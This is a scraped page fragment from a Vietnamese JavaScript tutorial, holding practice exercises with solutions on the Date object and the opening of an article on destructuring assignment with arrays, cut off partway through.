aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Date trong JavaScript được biểu diễn bởi đối tượng <code>Date</code>, trong đó:</p> <ul> <li>Tháng đếm từ <code>0</code> (tháng 1) đến <code>11</code> (tháng 12).</li> <li>Ngày trong tuần đếm từ <code>0</code> (chủ nhật) đến <code>6</code> (thứ 7).</li> </ul> <p>Đối tượng <code>Date</code> có tính năng tự động điều chỉnh <strong>tăng hay giảm</strong> nếu giá trị truyền vào vượt quá phạm vi biểu diễn của ngày, tháng, năm,... Tính năng này đặc biệt hữu ích khi bạn muốn cộng/trừ với ngày/tháng/giờ,...</p> <p>Ngoài ra, bạn có thể <strong>trừ hai giá trị date</strong> cho nhau, kết quả trả về là <strong>số mili giây chênh lệch</strong>. Bởi vì, <code>Date</code> trở thành <strong>timestamp</strong> khi chuyển thành <strong>number</strong>.</p> <p>Phương thức <code>Date.now()</code> trả về timestamp hiện tại mà không cần tạo mới đối tượng <code>Date</code>.</p> <h2 id="thực-hành" style="position:relative;"><a href="#th%E1%BB%B1c-h%C3%A0nh" aria-label="thực hành permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thực hành</h2> <h3 id="bài-1" style="position:relative;"><a href="#b%C3%A0i-1" aria-label="bài 1 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 1</h3> <p>Tạo đối tượng <code>Date</code> bởi thời gian <strong>Feb 20, 2021, 11:12am</strong> với múi giờ của bạn.</p> <div class="wrap-collapsible margin-bottom"> <input id="collapsible1" class="toggle" type="checkbox"> <label for="collapsible1" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p>Bạn có thể sử dụng hàm khởi tạo <code>new Date(year, month, date, hour, minute)</code> với:</p> <ul> <li><code>year</code>: 2021.</li> <li><code>month</code>: tháng 2 (ứng với số <code>1</code>).</li> <li><code>date</code>: ngày 20.</li> <li><code>hour</code>: 11 giờ.</li> <li><code>minute</code>: 12 phút.</li> </ul> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> date <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span><span class="token number">2021</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">20</span><span class="token punctuation">,</span> <span class="token number">11</span><span class="token punctuation">,</span> <span class="token number">12</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>date<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Sat Feb 20 2021 11:12:00 GMT+0700 (Indochina Time)</span></code></pre></div> </div> </div> </div> <h3 id="bài-2" style="position:relative;"><a href="#b%C3%A0i-2" aria-label="bài 2 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 2</h3> <p>Viết hàm <code>getWeekDay(date)</code> trả về ngày trong tuần dạng rút gọn: <code>SU</code> (chủ nhật), <code>MO</code> (thứ hai), <code>TU</code> (thứ 3), <code>WE</code> (thứ 4), <code>TH</code> (thứ 5), <code>FR</code> (thứ 6), <code>SA</code> (thứ 7).</p> <div class="wrap-collapsible margin-bottom"> <input id="collapsible2" class="toggle" type="checkbox"> <label for="collapsible2" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p>Phương thức <code>date.getDay()</code> trả về các ngày trong tuần bắt đầu từ <code>0</code> (chủ nhật) đến <code>6</code> (thứ 7) - giống với chỉ số của mảng.</p> <p>Vì vậy, bạn có thể tạo mảng string chứa thông tin các ngày trong tuần. Rồi sau đó, bạn lấy kết quả của <code>date.getDay()</code> làm chỉ số để truy cập giá trị của mảng.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">getWeekDay</span><span class="token punctuation">(</span><span class="token parameter">date</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> weekDays <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"SU"</span><span class="token punctuation">,</span> <span class="token string">"MO"</span><span class="token punctuation">,</span> <span class="token string">"TU"</span><span class="token punctuation">,</span> <span class="token string">"WE"</span><span class="token punctuation">,</span> <span class="token string">"TH"</span><span class="token punctuation">,</span> <span class="token string">"FR"</span><span class="token punctuation">,</span> <span class="token string">"SA"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">return</span> weekDays<span class="token punctuation">[</span>date<span class="token punctuation">.</span><span class="token function">getDay</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> date <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span><span class="token number">2021</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 01/01/2021</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">getWeekDay</span><span class="token punctuation">(</span>date<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// MO</span></code></pre></div> </div> </div> </div> <h3 id="bài-3" style="position:relative;"><a href="#b%C3%A0i-3" aria-label="bài 3 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 3</h3> <p>Viết hàm <code>getDateAgo(date, days)</code> trả về ngày trong tháng với <code>days</code> ngày trước ngày <code>date</code>.</p> <p>Ví dụ hôm nay là ngày 19/12/2021. Khi đó, 1 ngày trước ngày hiện tại là ngày 18/12/2021.</p> <p><strong>Chú ý</strong>: hàm <code>getDateAgo</code> không làm thay đổi giá trị của tham số <code>date</code> truyền vào.</p> <div class="wrap-collapsible margin-bottom"> <input id="collapsible3" class="toggle" type="checkbox"> <label for="collapsible3" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">getDateAgo</span><span class="token punctuation">(</span><span class="token parameter">date<span class="token punctuation">,</span> days</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// khởi tạo biến dateAgo bằng với date hiện tại</span> <span class="token comment">// để không làm thay đổi giá trị của tham số date</span> <span class="token keyword">let</span> dateAgo <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span>date<span class="token punctuation">.</span><span class="token function">getTime</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// lùi về số ngày là: days</span> dateAgo<span class="token punctuation">.</span><span class="token function">setDate</span><span class="token punctuation">(</span>dateAgo<span class="token punctuation">.</span><span class="token function">getDate</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">-</span> days<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// trả về giá trị ngày trong tháng</span> <span class="token keyword">return</span> dateAgo<span class="token punctuation">.</span><span class="token function">getDate</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// ví dụ ngày hôm nay</span> <span class="token keyword">let</span> toDay <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hôm qua</span> <span class="token keyword">let</span> yesterday <span class="token operator">=</span> <span class="token function">getDateAgo</span><span class="token punctuation">(</span>toDay<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>yesterday<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 18</span> <span class="token comment">// ngày này năm trước</span> <span class="token keyword">let</span> lastYear <span class="token operator">=</span> <span class="token function">getDateAgo</span><span class="token punctuation">(</span>toDay<span class="token punctuation">,</span> <span class="token number">365</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>lastYear<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 19</span></code></pre></div> </div> </div> </div> <h3 id="bài-4" style="position:relative;"><a href="#b%C3%A0i-4" aria-label="bài 4 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 4</h3> <p>Viết hàm <code>getLastDayOfMonth(year, month)</code> trả về ngày cuối cùng của tháng, trong đó:</p> <ul> <li><code>year</code>: là năm (4 chữ số).</li> <li><code>month</code>: là tháng (là số từ <code>0</code> đến <code>11</code>).</li> </ul> <div class="wrap-collapsible margin-bottom"> <input id="collapsible4" class="toggle" type="checkbox"> <label for="collapsible4" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">getLastDayOfMonth</span><span class="token punctuation">(</span><span class="token parameter">year<span class="token punctuation">,</span> month</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// lấy date ứng với ngày đầu tiên của tháng tiếp theo</span> <span class="token keyword">let</span> date <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span>year<span class="token punctuation">,</span> month <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// giảm date đi 1 đơn vị để lấy ngày cuối cùng của tháng hiện tại</span> date<span class="token punctuation">.</span><span class="token function">setDate</span><span class="token punctuation">(</span>date<span class="token punctuation">.</span><span class="token function">getDate</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// trả về date</span> <span class="token keyword">return</span> date<span class="token punctuation">.</span><span class="token function">getDate</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">getLastDayOfMonth</span><span class="token punctuation">(</span><span class="token number">2021</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 31 - tháng 1</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">getLastDayOfMonth</span><span class="token punctuation">(</span><span class="token number">2021</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 28 - tháng 2</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">getLastDayOfMonth</span><span class="token punctuation">(</span><span class="token number">2021</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 31 - tháng 3</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">getLastDayOfMonth</span><span class="token punctuation">(</span><span class="token number">2021</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 30 - tháng 4</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">getLastDayOfMonth</span><span class="token punctuation">(</span><span class="token number">2021</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 31 - tháng 5</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">getLastDayOfMonth</span><span class="token punctuation">(</span><span class="token number">2021</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 30 - tháng 6</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">getLastDayOfMonth</span><span class="token punctuation">(</span><span class="token number">2021</span><span class="token punctuation">,</span> <span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 31 - tháng 7</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">getLastDayOfMonth</span><span class="token punctuation">(</span><span class="token number">2021</span><span class="token punctuation">,</span> <span class="token number">7</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 31 - tháng 8</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">getLastDayOfMonth</span><span class="token punctuation">(</span><span class="token number">2021</span><span class="token punctuation">,</span> <span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 30 - tháng 9</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">getLastDayOfMonth</span><span class="token punctuation">(</span><span class="token number">2021</span><span class="token punctuation">,</span> <span class="token number">9</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 31 - tháng 10</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">getLastDayOfMonth</span><span class="token punctuation">(</span><span class="token number">2021</span><span class="token punctuation">,</span> <span class="token number">10</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 30 - tháng 11</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">getLastDayOfMonth</span><span class="token punctuation">(</span><span class="token number">2021</span><span class="token punctuation">,</span> <span class="token number">11</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 31 - tháng 12</span></code></pre></div> </div> </div> </div> <h3 id="bài-5" style="position:relative;"><a href="#b%C3%A0i-5" aria-label="bài 5 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 5</h3> <p>Viết hàm <code>getSecondsDay()</code> trả về số giây đã qua của ngày hôm nay.</p> <div class="wrap-collapsible margin-bottom"> <input id="collapsible5" class="toggle" type="checkbox"> <label for="collapsible5" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">getSecondsDay</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// lấy thời điểm hiện tại</span> <span class="token keyword">let</span> nowDate <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// lấy thời điểm 0 giờ 0 phút 0 giây của ngày hiện tại</span> <span class="token keyword">let</span> beginingDate <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span> nowDate<span class="token punctuation">.</span><span class="token function">getFullYear</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> nowDate<span class="token punctuation">.</span><span class="token function">getMonth</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> nowDate<span class="token punctuation">.</span><span class="token function">getDate</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> Math<span class="token punctuation">.</span><span class="token function">round</span><span class="token punctuation">(</span><span class="token punctuation">(</span>nowDate <span class="token operator">-</span> beginingDate<span class="token punctuation">)</span> <span class="token operator">/</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">getSecondsDay</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> </div> </div> </div> <h3 id="bài-6" style="position:relative;"><a href="#b%C3%A0i-6" aria-label="bài 6 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 6</h3> <p>Viết hàm <code>getSecondsToTomorrow()</code> trả về số giây từ hiện tại cho đến ngày mai.</p> <div class="wrap-collapsible margin-bottom"> <input id="collapsible6" class="toggle" type="checkbox"> <label for="collapsible6" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">getSecondsToTomorrow</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// thời điểm hiện tại</span> <span class="token keyword">let</span> nowDate <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 0 giờ, 0 phút, 0 giây ngày tiếp theo</span> <span class="token keyword">let</span> tomorrowDate <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span> nowDate<span class="token punctuation">.</span><span class="token function">getFullYear</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> nowDate<span class="token punctuation">.</span><span class="token function">getMonth</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> nowDate<span class="token punctuation">.</span><span class="token function">getDate</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token number">1</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> Math<span class="token punctuation">.</span><span class="token function">round</span><span class="token punctuation">(</span><span class="token punctuation">(</span>tomorrowDate <span class="token operator">-</span> nowDate<span class="token punctuation">)</span> <span class="token operator">/</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">getSecondsToTomorrow</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> </div> </div> </div> <p>Tham khảo: <a href="https://javascript.info/date">Date and time</a></p>[email protected]<![CDATA[Destructuring Assignment trong JavaScript]]><![CDATA[Destructuring Assignment trong JavaScript là một cú pháp đặc biệt cho phép bạn lấy ra dữ liệu từ Object hoặc Array và gán chúng vào các biến thông thường. Tuy nhiên, việc "lấy ra…]]>https://completejavascript.com/destructuring-assignment-trong-javascript/https://completejavascript.com/destructuring-assignment-trong-javascript/<![CDATA[ES6]]><![CDATA[Array]]><![CDATA[Object]]><![CDATA[Kiểu dữ liệu]]><![CDATA[Destructuring Assignment]]>Thu, 08 Jun 2017 03:00:00 GMT<p><strong>Destructuring Assignment trong JavaScript</strong> là một cú pháp đặc biệt cho phép bạn <strong>lấy ra dữ liệu</strong> từ <a href="/object-la-gi-object-trong-javascript/">Object</a> hoặc <a href="/array-la-gi-array-trong-javascript/">Array</a> và gán chúng vào các biến thông thường.</p> <p>Tuy nhiên, việc "lấy ra dữ liệu" này <strong>chỉ copy mà không làm thay đổi cấu trúc</strong> của Object hoặc Array.</p> <p>Dưới đây, mình sẽ tìm hiểu về cách sử dụng và ứng dụng của Destructuring Assignment trong JavaScript với <strong>Array và Object</strong>.</p> <h2 id="destructuring-assignment-với-array" style="position:relative;"><a href="#destructuring-assignment-v%E1%BB%9Bi-array" aria-label="destructuring assignment với array permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Destructuring Assignment với Array</h2> <p>Sau đây là những kiến thức cơ bản và ứng dụng của Destructuring Assignment trong JavaScript với Array.</p> <h3 id="cách-sử-dụng-cơ-bản" style="position:relative;"><a href="#c%C3%A1ch-s%E1%BB%AD-d%E1%BB%A5ng-c%C6%A1-b%E1%BA%A3n" aria-label="cách sử dụng cơ bản permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách sử dụng cơ bản</h3> <p>Ví dụ về destructuring assignment với array:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token punctuation">[</span>firstName<span class="token punctuation">,</span> lastName<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"David"</span><span class="token punctuation">,</span> <span class="token string">"Walsh"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">/* * firstName = David * lastName = Walsh */</span></code></pre></div> <p>Ví dụ trên thực hiện <strong>khai báo và gán</strong> luôn giá trị cho các biến <code>firstName</code> và <code>lastName</code>. Ngoài ra, bạn có thể tách biệt việc khai báo và gán giá trị như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> firstName<span class="token punctuation">,</span> lastName<span class="token punctuation">;</span> <span class="token punctuation">[</span>firstName<span class="token punctuation">,</span> lastName<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"David"</span><span class="token punctuation">,</span> <span class="token string">"Walsh"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">/* * firstName = David * lastName = Walsh */</span></code></pre></div> <p>Ở đây, JavaScript thực hiện việc gán giá trị ở <strong>vế phải</strong> cho biến ở <strong>vế trái</strong> theo đúng thứ tự chỉ số xuất hiện trong mảng.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 587px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 55.15151515151515%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABKUlEQVQoz4WQiW7bQAxE9f//GKex3FiN7V3vzZuB5CRAWgUdEAQWy8cBZ0q1xwKCSPdItcHgVkbJtbWa66iD6+DeB8WAOZc0eoPTaZ7nY0ppuoZ0WHK5xfryUm/hdimvx3B+fbuEcL7V07Utd2gd4O1PDyFcaiswz8fnwyHG++TuA4XUYACxwkBAElEmEWZEMhU3E0B3V1FV809NZm7bU1ozJhoggCZszMofXZml93WGVUXdzTZm+lrz2CGshKxmD5OvElkxRt7gT2f/LlVjFCJhMUKmzRiBhHW9heXhuQ8/lCtcL6Hkcl7icq0NeHdsHx4ph6dfNab8e+kxb0ftwqYu7Pbtk1BygjFwDIJB/oMmF/KeTWhLZU1pDcp03+tvWNUZ16D+0X/hd+5phVJs5Eu4AAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" 